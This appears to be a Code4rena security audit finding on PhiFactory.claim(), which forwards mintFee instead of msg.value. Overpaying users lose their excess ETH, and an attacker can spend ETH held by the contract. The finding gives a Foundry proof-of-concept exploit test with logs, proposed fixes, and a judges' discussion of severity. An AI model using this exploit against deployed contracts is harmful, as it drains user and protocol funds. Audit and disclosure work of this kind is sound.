PhiFactory:claim Potentially Causing Loss of Funds If mintFee Changed Beforehand

[howlbot-integration]

Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/PhiFactory.sol#L283
https://github.com/code-423n4/2024-08-phi/blob/main/src/PhiFactory.sol#L300

Vulnerability details

Impact

1. If the mintFee was lowered by the Art creator via updateArtSettings before the claim was executed, the msg.value from user would become larger than the updated value of mintFee. As the function does not validate msg.value and consumes the mintFee directly, the excess ETH sent by the user will not be refunded, causing a loss of funds for user.
2. If PhiFactory still holds positive ETH balance, a malicious user can exploit this by sending less msg.value than expected (or no ETH at all). This results in PhiFactory's ETH being used for the mintFee payment instead, causing a loss for the protocol.

Proof of Concept

This external call to this.merkleClaim forwards the mintFee value of ETH without validating it against msg.value.

• Found in src/PhiFactory.sol at Line 283

  264:    function claim(bytes calldata encodeData_) external payable {
      ...
  282:            uint256 mintFee = getArtMintFee(artId, quantity_);
  283: =>             this.merkleClaim{ value: mintFee }(proof, claimData, mintArgs, leafPart_); 
  284:        } else if (art.verificationType.eq("SIGNATURE")) {
      ...
  304:    }

Similarly, this external call to this.signatureClaim forwards the mintFee value of ETH without validating it against msg.value.

• Found in src/PhiFactory.sol at Line 300

  264:    function claim(bytes calldata encodeData_) external payable {
      ...
  299:            uint256 mintFee = getArtMintFee(artId, quantity_);
  300: =>             this.signatureClaim{ value: mintFee }(signature_, claimData, mintArgs);
  301:        } else {
      ...
  304:    }

Although the merkleClaim and signatureClaim functions can process refunds, the claim function calls of these two functions externally (defined as external instead of public), results in the msg.value being overridden by the mintFee. As a result, the original msg.value sent to claim() remains unvalidated and become vulnerable to exploits.

POC

Apply patch & run forge test -vvv --mt test_claim_exploit

diff --git a/test/PhiFactory.t.sol b/test/PhiFactory.t.sol
index f999052..3b6853d 100644
--- a/test/PhiFactory.t.sol
+++ b/test/PhiFactory.t.sol
@@ -300,4 +300,43 @@ contract TestPhiFactory is Settings {
         assertEq(newRoyaltyReceiver, checkRoyaltyConfig.royaltyRecipient, "royalty receiver should be updated");
         assertEq(500, checkRoyaltyConfig.royaltyBPS, "royalty bps should be updated");
     }
+
+    function test_claim_exploit() public {
+        _createArt(ART_ID_URL_STRING); // artID 1
+        _createArt(ART_ID_URL_STRING); // artID 2
+
+        bytes[2] memory dataCompressed;
+
+        for (uint i = 0; i < dataCompressed.length; i++) {
+            bytes32 advanced_data = bytes32("1");
+            uint256 artId = i + 1;
+            bytes memory signData =
+                abi.encode(expiresIn, participant, referrer, verifier, artId, block.chainid, advanced_data);
+            bytes32 msgHash = keccak256(signData);
+            bytes32 digest = ECDSA.toEthSignedMessageHash(msgHash);
+            (uint8 v, bytes32 r, bytes32 s) = vm.sign(claimSignerPrivateKey, digest);
+            if (v != 27) s = s | bytes32(uint256(1) << 255);
+            bytes memory signature = abi.encodePacked(r, s);
+            bytes memory data =
+                abi.encode(artId, participant, referrer, verifier, expiresIn, uint256(1), advanced_data, IMAGE_URL, signature);
+            dataCompressed[i] = LibZip.cdCompress(data);
+        }
+
+        vm.startPrank(participant, participant);
+
+        // @audit claim artId 1 with extra 0.1 ETH to simulate the mintFee has been lowered right before
+        uint256 totalMintFee = phiFactory.getArtMintFee(1, 1);
+        phiFactory.claim{ value: totalMintFee + 0.1 ether }(dataCompressed[0]);
+        uint256 phiFactoryBalance1 = address(phiFactory).balance;
+        assertEq(phiFactoryBalance1, 0.1 ether, "balance is empty");
+        console2.log("phiFactory has extra %d after claim artId 1", phiFactoryBalance1);
+
+        // @audit claim artId 2 to exploit phiFactory balance since it has extra 0.1 ether
+        totalMintFee = phiFactory.getArtMintFee(2, 1);
+        phiFactory.claim{ value: 0 }(dataCompressed[1]); // 0 ETH was used
+        uint256 phiFactoryBalance2 = address(phiFactory).balance;
+        assertEq(phiFactoryBalance2, phiFactoryBalance1 - totalMintFee, "phiFactory balance not exploited");
+        console2.log("phiFactory after claim artId 2", phiFactoryBalance2);
+        console2.log("phiFactory loss %d after claim artId 2", phiFactoryBalance1 - phiFactoryBalance2);
+    }
 }

Result:

forge test -vvv --mt test_claim_exploit

Ran 1 test for test/PhiFactory.t.sol:TestPhiFactory
[PASS] test_claim_exploit() (gas: 2103923)
Logs:
  phiFactory has extra 100000000000000000 after claim artId 1
  phiFactory after claim artId 2 89550000000000000
  phiFactory loss 10450000000000000 after claim artId 2

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.78ms (1.92ms CPU time)

This confirms both cases where msg.value > mintFee and msg.value = 0 could be exploited, causing loss of funds for both users and the protocol.

Tools Used

Foundry test

Recommended Mitigation Steps

Validate msg.value against mintFee to ensure the caller sent in the correct amount of ETH.

Or forward msg.value directly to subsequent claim process since the _processClaim will eventually handle the refund.

Assessed type

Payable

[c4-judge]

fatherGoose1 changed the severity to 2 (Med Risk)

[c4-judge]

fatherGoose1 marked the issue as satisfactory

[hungdoo]

I would like to argue that this is a valid Med, but not a duplicate of Issue #11:

1. Distinct Root Causes and Impacts

Issue #11: Incorrect Handling of msg.sender

• Root Cause: The vulnerability arises from mishandling msg.sender, leading to refunds being sent to an incorrect address.
• Impact: Users may lose funds as refunds go to unintended recipients.

Issue #109 (this original finding): Incorrect Handling of msg.value

• Root Cause: The issue stems from msg.value being replaced by mintFee within claim(). If the mintFee is adjusted after a user sends the transaction, it can be lower than the original msg.value, leading to financial discrepancies.
• Impact: This could result in users overpaying or losing excess funds, which is entirely unrelated to msg.sender.

2. Fix for Issue #11 Does Not Address Issue #109

• Fix for Refunds sent to incorrect addresses in certain cases #11: Properly handling msg.sender to ensure funds are returned to the correct address.
• Fix for PhiFactory:claim Potentially Causing Loss of Funds If mintFee Changed Beforehand #109: The issue lies in overriding msg.value with mintFee, which could change between the transaction initiation and execution. Fixing msg.sender has no effect on this distinct logic flaw, making them separate issues.

3. Severity of Similar Cases to #109

Duplicates of #109 which missed the critical condition of the mintFee being changed beforehand should be considered QA due to user's error. This discussion at code-423n4/2024-07-traitforge-findings#687 is the base of my argument. The issue had been classified as low severity due to user error. Then when the fee change condition was clarified, it was upgraded to Med.

[fatherGoose1]

I agree with your assessment. The claim() function should send msg.value, not mintFee as this potentially truncates the value sent, and therefore the user will not receive a refund. I will search for duplicates.

[c4-judge]

fatherGoose1 marked the issue as not a duplicate

[c4-judge]

fatherGoose1 marked the issue as primary issue

[c4-judge]

fatherGoose1 marked the issue as selected for report